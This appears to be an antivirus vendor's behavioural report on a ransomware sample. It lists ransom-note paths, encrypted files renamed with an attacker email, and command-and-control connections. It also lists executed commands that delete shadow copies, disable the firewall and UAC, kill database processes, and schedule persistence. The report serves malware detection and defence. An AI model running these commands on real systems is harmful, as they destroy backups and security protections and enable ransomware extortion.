%CommonProgramFiles%\microsoft shared\ink\hu-hu\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\proof.en\read_me!_.txt
%CommonProgramFiles%\microsoft shared\ink\es-es\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\spring\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\proofing.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\edge\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\evrgreen\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\expeditn\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\ice\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\indust\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\iris\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\journal\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\layers\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\level\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\network\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\echo\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\eclipse\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\papyrus\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\quad\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\radial\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\refined\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\ricepapr\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\ripple\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\rmnsque\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\satin\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\sky\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\slate\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\sonora\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\pixel\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\profile\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\deepblue\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\concrete\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\compass\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\publisher.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\word.en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\officesoftwareprotectionplatform\read_me!_.txt
%CommonProgramFiles%\microsoft shared\proof\read_me!_.txt
%CommonProgramFiles%\microsoft shared\smart tag\read_me!_.txt
%CommonProgramFiles%\microsoft shared\smart tag\1033\read_me!_.txt
%CommonProgramFiles%\microsoft shared\smart tag\lists\read_me!_.txt
%CommonProgramFiles%\microsoft shared\smart tag\lists\1033\read_me!_.txt
%CommonProgramFiles%\microsoft shared\source engine\read_me!_.txt
%CommonProgramFiles%\microsoft shared\stationery\read_me!_.txt
%CommonProgramFiles%\microsoft shared\textconv\read_me!_.txt
%CommonProgramFiles%\microsoft shared\office14\office setup controller\proplus\read_me!_.txt
%CommonProgramFiles%\microsoft shared\textconv\en-us\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\aftrnoon\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\arctic\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\axis\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\blends\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\bluecalm\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\blueprnt\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\boldstri\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\breeze\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\canyon\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\capsules\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\cascade\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\read_me!_.txt
%CommonProgramFiles%\microsoft shared\themes14\strtedge\read_me!_.txt
%ProgramFiles%\microsoft office\office14\media\read_me!_.txt

Moves the following files

from %ProgramFiles%\java\jre1.8.0_45\bin\jfxwebkit.dll to %ProgramFiles%\java\jre1.8.0_45\bin\jfxwebkit.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32.dll to %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrocef\libcef.dll to %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrocef\libcef.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\templates\1033\introducingpowerpoint2010.potx to %ProgramFiles%\microsoft office\templates\1033\introducingpowerpoint2010.potx[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\templates\1033\fiverules.potx to %ProgramFiles%\microsoft office\templates\1033\fiverules.potx[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\wwlib.dll to %ProgramFiles%\microsoft office\office14\wwlib.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\pubwiz\greeting.dpv to %ProgramFiles%\microsoft office\office14\pubwiz\greeting.dpv[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\proof\msth7fr.lex to %ProgramFiles%\microsoft office\office14\proof\msth7fr.lex[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\proof\1036\msgr3fr.dll to %ProgramFiles%\microsoft office\office14\proof\1036\msgr3fr.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\ppcore.dll to %ProgramFiles%\microsoft office\office14\ppcore.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\outlook.exe to %ProgramFiles%\microsoft office\office14\outlook.exe[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\onmain.dll to %ProgramFiles%\microsoft office\office14\onmain.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\oartconv.dll to %ProgramFiles%\microsoft office\office14\oartconv.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\oart.dll to %ProgramFiles%\microsoft office\office14\oart.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\mspub.exe to %ProgramFiles%\microsoft office\office14\mspub.exe[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\msaccess.exe to %ProgramFiles%\microsoft office\office14\msaccess.exe[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\groove.exe to %ProgramFiles%\microsoft office\office14\groove.exe[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft office\office14\excel.exe to %ProgramFiles%\microsoft office\office14\excel.exe[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft analysis services\as oledb\10\msmgdsrv.dll to %ProgramFiles%\microsoft analysis services\as oledb\10\msmgdsrv.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\microsoft analysis services\as oledb\10\msmdlocal.dll to %ProgramFiles%\microsoft analysis services\as oledb\10\msmdlocal.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\java\jre1.8.0_45\lib\rt.jar to %ProgramFiles%\java\jre1.8.0_45\lib\rt.jar[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles%\java\jre1.8.0_45\lib\ext\jfxrt.jar to %ProgramFiles%\java\jre1.8.0_45\lib\ext\jfxrt.jar[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32res.dll to %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\acrord32res.dll[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
from %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\plug_ins\acroform.api to %ProgramFiles(x86)%\adobe\acrobat reader dc\reader\plug_ins\acroform.api[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g

Modifies the following files

D:\install.log[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\dn_like.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\descript.ion[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\colors_from_sadovoj.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\colors_from_gernichenko.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\colors_from_admin_essp_ru.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\black_from_myodov.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\black_from_july.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\black_from_fonarev.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\vaxcolors.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\rodion_doroshkevich.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\nc5pal2.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\import_colors.bat[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\hell.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\greenmile.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\farcolors242.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\dn_like.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\descript.ion[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\colors_from_sadovoj.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\colors_from_gernichenko.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\colors_from_admin_essp_ru.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\black_from_myodov.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\black_from_july.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
<Drive name for removable media>:\archer.avi[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\custom_highlighting\black_from_fonarev.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
<Drive name for removable media>:\split.avi[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
<Drive name for removable media>:\delete.avi[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
<Drive name for removable media>:\correct.avi[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\farcolors242.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g
C:\far2\addons\colors\default_highlighting\greenmile.reg[id=lrad2m-mail=lucifer.kobs@mailfence.com].gv5g

Modifies multiple files.

Network activity

Connects to

'18#.#47.34.53':3586

TCP

HTTP GET requests

http://18#.#47.34.53/19_And_Netword_Drive_Size:0_Encryption_Mode:_Fast_Mode!Empty]_12/25/2020,_12:37:46_PM$_Thu_04/28/2022-12:18:[Version_6.1.7601|Microsoft_Windows_7_Enterprise_hg3l,95.211.190...

UDP

DNS ASK re#####r1.opendns.com
DNS ASK 22#.###.67.208.in-addr.arpa
DNS ASK my##.#pendns.com
'localhost':65497
'localhost':52940

Miscellaneous

Searches for the following windows

ClassName: '' WindowName: ''

Creates and executes the following

'%WINDIR%\syswow64\wscript.exe' "%HOMEPATH%\AppData\v9_svc.vbs"
'%WINDIR%\syswow64\cmd.exe' /c ""%HOMEPATH%\AppData\h4_svc.bat" "' (with hidden window)

Executes the following

'%WINDIR%\syswow64\cmd.exe' /c tasklist /v /fo csv | findstr /i "dcdcf"
'%WINDIR%\syswow64\tasklist.exe' /fi "ImageName eq <File name>.exe" /fo csv
'%WINDIR%\syswow64\netsh.exe' advfirewall set currentprofile state off
'%WINDIR%\syswow64\reg.exe' ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f
'%WINDIR%\syswow64\cmd.exe' /c reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f&vssadmin.exe Delete Shadows /All /Quiet&wmic shadowcopy delete&netsh advfirewall ...
'%WINDIR%\syswow64\nslookup.exe' myip.opendns.com. resolver1.opendns.com
'%WINDIR%\syswow64\cmd.exe' /c nslookup myip.opendns.com. resolver1.opendns.com
'%WINDIR%\syswow64\find.exe' /i "original"
'%WINDIR%\syswow64\cmd.exe' /c systeminfo|find /i "original"
'%WINDIR%\syswow64\timeout.exe' /t 15 /nobreak
'%WINDIR%\syswow64\find.exe' /i "os name"
'%WINDIR%\syswow64\systeminfo.exe'
'%WINDIR%\syswow64\find.exe' /I /c "dcdcf"
'%WINDIR%\syswow64\cmd.exe' /c systeminfo|find /i "os name"
'%WINDIR%\syswow64\tasklist.exe' /v
'%WINDIR%\syswow64\cmd.exe' /c echo %date%-%time%
'%WINDIR%\syswow64\cmd.exe' /c ""%HOMEPATH%\AppData\h4_svc.bat" "
'%WINDIR%\syswow64\cmd.exe' /C echo %HOMEPATH%\AppData\h4_svc.bat
'%WINDIR%\syswow64\schtasks.exe' /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'%HOMEPATH%\AppData\t2_svc.bat'" /f
'%WINDIR%\syswow64\cmd.exe' /c schtasks /create /sc minute /mo 6 /tn "Microsoft_Auto_Scheduler" /tr "'C:\Users\%username%\AppData\t2_svc.bat'" /f
'%WINDIR%\syswow64\cmd.exe' /c cd "%SystemDrive%\Users\%username%\AppData\"&t2_svc.bat
'%WINDIR%\syswow64\cmd.exe' /c ver
'%WINDIR%\syswow64\findstr.exe' /i "dcdcf"
'%WINDIR%\syswow64\tasklist.exe' /v /fo csv
'%WINDIR%\syswow64\find.exe' /I "<File name>.exe"
'%WINDIR%\syswow64\cmd.exe' /c taskkill /im msftesql.exe&taskkill /im sqlagent.exe&taskkill /im sqlbrowser.exe&taskkill /im sqlservr.exe&taskkill /im sqlwriter.exe&taskkill /im oracle.exe&taskkill /im ocssd.exe&taskkill /...

Technologies

Terminology

Training and education

Myths

Technical Information

Curing recommendations

Free trial